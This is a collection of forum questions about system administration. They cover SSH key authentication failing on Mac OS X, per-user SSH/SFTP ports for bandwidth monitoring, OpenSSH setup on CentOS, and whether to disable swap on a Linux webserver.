  I'm trying to connect to my iMac (server) from my macbook (client) on my LAN. Both have Mac OS X 10.6.4. Server running on a new clean install of the OS. When just activating Remote Login in System Preferences everything works fine. But when setting up ssh to only work with public/private key I get the following error messages from the server log depending on if I use a rsa passphrase or not: With passphrase (case 1): PAM: user account has expired for <myServerUserName> from 192.168.X.X via 192.168.X.Y Without passphrase (case 2): Failed publickey for <myServerUserName> from 192.168.X.X port AAAAA ssh2 This is my setup algorithm: Create a private and public key on client with command ssh-keygen -t rsa. In case 1 I also set a passphrase. Move the id_rsa.pub to the server path /Users/<myServerUserName>/.ssh/ In this folder I execute cat id_rsa.pub > authorized_keys Making sure Remote Login isn't active, I now execute sudo /usr/sbin/sshd -d on the server. Back on the client I now type ssh -v -v -v <myServerUserName>@192.168.X.Y and get prompted to accept RSA key fingerprint. This is NOT the same fingerprint as the one from when I created the private/public key (should it be?). I accept. Depending on case: CASE 1: Client gets halted for password and the response is permission denied even though correct password is given. Back on the server I can read the error message I stated above for case 1: PAM: user account has expired... CASE 2: Client gets message Connection closed by 192.168.X.Y. Back on the server I can read the error message I stated above for case 2: Failed publickey... What could possibly cause this?

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• SSH & SFTP: Should I assign one port to each user to facilitate bandwidth monitoring?

  - by BertS

  There is no easy way to track real-time per-user bandwidth usage for SSH and SFTP. I think assigning one port to each user may help. Idea of implementation Use case Bob, with UID 1001, shall connect on port 31001. Alice, with UID 1002, shall connect on port 31002. John, with UID 1003, shall connect on port 31003. (I do not want to lauch several sshd instances as proposed in question 247291.) 1. Setup for SFTP: In /etc/ssh/sshd_config: Port 31001 Port 31002 Port 31003 Subsystem sftp /usr/bin/sftp-wrapper.sh The file sftp-wrapper.sh starts the sftp server only if the port is the correct one: #!/bin/sh mandatory_port=3`id -u` current_port=`echo $SSH_CONNECTION | awk '{print $4}'` if [ $mandatory_port -eq $current_port ] then exec /usr/lib/openssh/sftp-server fi 2. Additional setup for SSH: A few lines in /etc/profile prevents the user from connecting on the wrong port: if [ -n "$SSH_CONNECTION" ] then mandatory_port=3`id -u` current_port=`echo $SSH_CONNECTION | awk '{print $4}'` if [ $mandatory_port -ne $current_port ] then echo "Please connect on port $mandatory_port." exit 1 fi fi Benefits Now it should be easy to monitor per-user bandwidth usage. A Rrdtool-based application could produce charts like this: I know this won't be a perfect calculation of the bandwidth usage: for example, if somebody launches a bruteforce attack on port 31001, there will be a lot of traffic on this port although not from Bob. But this is not a problem to me: I do not need an exact computation of per-user bandwidth usage, but an indicator that is approximately correct in standard situations. Questions Is the idea of assigning one port for each user is a good one? Is the proposed setup an reliable one? If I have to open dozens of ports for many users, should I expect a performance drawback? Do you know a rrdtool-based application which could make the chart above?

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• CentOS and OpenSSH [on hold]

  - by Stephen

  I've recently installed CentOS 6 on an old Dell PC. I'm trying to setup OpenSSH at the moment, I been following some tutorials (http://www.youtube.com/watch?v=QKafb0koJEg) on You Tube, while they have been very helpful I'm at the point where I need to ask some questions. My goal here is to be able to access the server from my work computer and from my personal laptop (which will be on the same home network as the server). I've installed OpenSSH with no issues. So the first thing I was advised to do was port forwarding. So in the sshd_config file, I've changed Port 22 to Port xxxx (where xxxx is a obviously a four digit value). I then restart the sshd service. I've also configured my router for forward port 22 onto xxxx. Is there anything else I need to do? I've generated the keys on my laptop, and I'm trying to copy them to the server as follows: scp id_rsa.pub xxxxxxxx@localhost:.ssh/authorized_keys but this command fails with the following error message: ssh: connect to host localhost port 22: Connection refused lost connection Any help appreciated. Regards...

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• Should I completely turn off swap for linux webserver?

  - by Poma

  Recently my friend told me that it is a good idea to turn off swap on linux webservers with enough memory. My server has 12 GB and currently uses 4GB (not counting cache and buffers) under peak load. His argument was that in a normal situation server will never use all of its RAM so the only way it can encounter OutOfMemory situation is due to some bug/ddos/etc. So in case swap is turned off system will run out of memory that will eventually crash the program hogging memory (most likely the web server process) and probably some other processes. In case swap is turned on it will eat both RAM and swap and eventually will result in the same crash, but before that it will offload crucial processes like sshd to swap and start to do a lot of swap operations resulting in major slowdown. This way when under ddos system may go into a completely unusable condition due to huge lags and I probably will not be unable to log in and kill webserver process or deny all incoming traffic (all but ssh). Is this right? Am I missing something (like the fact that swap partition is very useful in some way even if I have enough RAM)? Should I turn it off?

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